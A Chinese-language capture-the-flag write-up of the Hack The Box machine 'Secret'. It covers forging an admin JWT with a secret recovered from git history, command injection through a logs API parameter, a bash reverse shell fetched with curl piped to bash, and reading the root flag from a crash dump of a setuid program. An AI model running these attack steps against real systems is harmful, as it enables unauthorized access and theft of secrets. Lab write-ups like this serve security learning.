HTB Secret

[TOC]

目录

靶机介绍:

image-20211126202902045

个人感觉这个机器比较偏难(还是我比较菜的原因),这个机器属于那种CTF类的靶机。获取用户shell主要难点在于靠伪造Cookie去进行命令执行。提取那一块大家感兴趣看一下,这次主要思路分析。

信息收集

rustsacn -a 10.10.11.120

image-20211127094322208

开放的22、80、3000端口,我们访问一下

image-20211127094453120

查看页面功能,知道了如何去注册和登录这个网站

注册方法:

image-20211127094647307

注册成功回显:

image-20211127100946223

登录方法

image-20211127094700805

登录结果回显:

image-20211127101107256

获取jwt Cookie

image-20211127094716217

回显:

image-20211127101212109

到这里我们对其网站进行扫描,看能不能得出点后台登录地址啥的。

image-20211127095201545

猜测download可能有文件,我们尝试爆破一下文件,我们得到files.zip

image-20211127095402863下载下来,发现是这个网站的源码

寻找突破口

现在通过信息收集获取了这个网站的源码和知道如何进行注册登录。

注册

由于这个网站我们没有通过扫描找到后台地址,后期在源码里也没有后台地址

image-20211127100249400

通过curl命令我们进行简单测试一下

curl  -H "Content-Type: application/json" -X POST 10.10.11.120:3000/api/user/register -d '{"name": "chenle","email":"root@chenle.works","password":"Kekc8swFgD6zU"}' 

image-20211127101251890

登录:

curl -H "Content-Type: application/json" -X POST 10.10.11.120:3000/api/user/login -d '{"email": "root@chenle.works", "password": "Kekc8swFgD6zU"}' 

image-20211127101522552

使用Cookie登录:

curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiY2hlbmxlIiwiZW1haWwiOiJyb290QGNoZW5sZS53b3JrcyIsImlhdCI6MTYzNzk4MDI0OH0.zKp5DXkQjvZhlnVllxElCBJ0MdMG-u7HqsHg0veWTlU " 10.10.11.120:3000/api/priv 

image-20211127101850535

尝试获取admin的cookie

我们把我们的jwt在这个网站上进行解析:https://jwt.io/

image-20211127102153356

之后我们尝试使用修改后的

image-20211127102344954

curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.pNYJtN-VONK1r04oooDGJnKHpCOQUDAQ2L32wM3xBz4 " 10.10.11.120:3000/api/priv 

image-20211127102325675

发现登录失败,通过查看这个网站源码

image-20211127102744982

我们通过查看源码,获知如何构造cookie去以admin身份进行登录

image-20211127104521396

image-20211127104556232

我们发现这个存在.git目录,我们查看一下git log

image-20211127102905220

image-20211127102933426

发现这个token_secret已经被移除了,我们尝试恢复这个文件

git revert 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78

image-20211127103329483

image-20211127103341714

恢复的密钥:

gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

现阶段已经获取到密钥,修改的jwt,使用jwt工具来将密钥加入到我们的伪造cookie中

使用这个工具来进行对jwt的注入:https://github.com/ticarpi/jwt_tool/

python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoiY2hlbmxlIiwiZW1haWwiOiJyb290QGNoZW5sZS53b3JrcyIsImlhdCI6MTYzNzk4MDI0OH0.zKp5DXkQjvZhlnVllxElCBJ0MdMG-u7HqsHg0veWTlU

image-20211127142453720

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w

使用生成的jwt cookie进行登录

curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" 10.10.11.120:3000/api/priv

image-20211127142732058

返回:

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

这里我们已经以admin登录

尝试命令执行获取主机会话:

尝试使用接口看能否执行命令;

curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" 10.10.11.120:3000/api/log?file-=;id

image-20211127143631512

{"message":{"message":"404 page not found","desc":"page you are looking for is not found. "}}uid=1000(hack) gid=1000(hack) groups=1000(hack),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scanner),141(kaboxer)

通过远程命令下载本地的反向shell

bash -i >& /dev/tcp/10.10.14.28/7777 0>&1

image-20211127144107771

本地使用python起一个服务

python3 -m http.server 8888

本地侦听端口

nc -lvp 7777

执行命令:

curl -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWExOTZkMjU0MWRiMjA0NjM1NDVmODQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAY2hlbmxlLndvcmtzIiwiaWF0IjoxNjM3OTgwMjQ4fQ.qFZ_dVXLtGQmt9NMlsaFuHhpd4adPcDjgh2WduqI58w" '10.10.11.120:3000/api/logs?file=;curl+10.10.14.28:8888/shell.sh+|bash'

image-20211127144710188

至此我们已经获取到user权限。

image-20211127144931083

主机提权:

此处请参考该网址:

https://wiki.ubuntu.com/Apport

https://www.jb51.cc/ubuntu/347375.html

在/opt目录下发现可疑文件:

image-20211127152204924

code.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;

int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);

snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;

file = fopen(path, "r");

if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}

characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}

if (characters > 0)
{
words++;
lines++;
}

snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}


int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];

printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);

// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}

return 0;
}

审计这个代码,可以有一个思路,就是通过linux上的崩溃转储来进行读取隐私文档。

操作如下:

同时开启两个会话,

image-20211127154331923

root         859  0.0  0.1 235672  7340 ?        Ssl  04:42   0:00 /usr/lib/accountsservice/accounts-daemon
dasith 2034 0.0 0.0 2488 588 ? S 07:58 0:00 ./count -p
dasith 2036 0.0 0.0 6432 728 ? S 07:58 0:00 grep --color=auto count

将./count这个进程kill,然后就造成程序崩溃

image-20211127155203004

image-20211127155253506

接下来将这个文件进行解压转储

apport-unpack _opt_count.1000.crash /tmp/leleaa

image-20211127155635034

查看刚刚解压的文件,看到很多文件,我们这里利用一个脚本

image-20211127155734728

strings CoreDump

image-20211127160351176

image-20211127160036135

CORE
CORE
count
./count -p
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path:
Could
LINUX
////////////////
Path:
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Enter source file/directory name:
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: Path:
oot/root.txt
e3d76cb6f2553838d00ad4e48224ff9f
aliases
ethers
group
gshadow
hosts
initgroups
netgroup
networks
passwd
protocols
publickey
services
shadow
CAk[S
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
uTi7J
|F:m
_rtld_global
__get_cpu_features
_dl_find_dso_for_object
_dl_make_stack_executable
_dl_exception_create
__libc_stack_end
_dl_catch_exception
malloc
_dl_deallocate_tls
_dl_signal_exception
__tunable_get_val
__libc_enable_secure
__tls_get_addr
_dl_get_tls_static_info
calloc
_dl_exception_free
_dl_debug_state
_dl_argv
_dl_allocate_tls_init
_rtld_global_ro
realloc
_dl_rtld_di_serinfo
_dl_mcount
_dl_allocate_tls
_dl_signal_error
_dl_exception_create_format
_r_debug
_dl_catch_error
ld-linux-x86-64.so.2
GLIBC_2.2.5
GLIBC_2.3
GLIBC_2.4
GLIBC_PRIVATE
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
linux-vdso.so.1
tls/x86_64/x86_64/tls/x86_64/
/lib/x86_64-linux-gnu/libc.so.6
%%%%%%%%%%%%%%%%
////////////////
////////////////
ory name:
%99s
/root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
x86_64
./count
SHELL=/bin/sh
versioning=[object Object]
unstable_restarts=0
treekill=true
env=[object Object]
filter_env=
namespace=default
restart_time=0
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
axm_options=[object Object]
vizion_running=false
PWD=/opt
LOGNAME=dasith
PM2_USAGE=CLI
exec_interpreter=node
PM2_HOME=/home/dasith/.pm2
HOME=/home/dasith
NODE_APP_INSTANCE=0
LANG=en_US.UTF-8
LS_COLORS=
pm_id=0
version=1.0.0
pm_uptime=1637988188619
km_link=false
pm_cwd=/home/dasith/local-web
axm_monitor=[object Object]
instance_var=NODE_APP_INSTANCE
pmx=true
unique_id=15dcac83-fe45-48ff-9c21-89c45f351404
LESSCLOSE=/usr/bin/lesspipe %s %s
vizion=true
username=dasith
LESSOPEN=| /usr/bin/lesspipe %s
watch=false
windowsHide=true
automation=true
axm_actions=
SHLVL=2
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
PM2_INTERACTOR_PROCESSING=true
created_at=1633619800035
merge_logs=true
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
PATH=/usr/bin:/bin
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
node_version=10.19.0
kill_retry_time=100
axm_dynamic=[object Object]
autorestart=true
node_args=
exec_mode=fork_mode
pm_exec_path=/home/dasith/local-web/index.js
OLDPWD=/var/crash
status=launching
name=index
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
_=./count
./count
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
AUATS
A\A]]
[A\M
A]]I
[A\]
[A\]
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment

总结:

image-20211126201821905

这个靶机提权这块还有好多知识点有待学习。希望各位大佬轻点骂。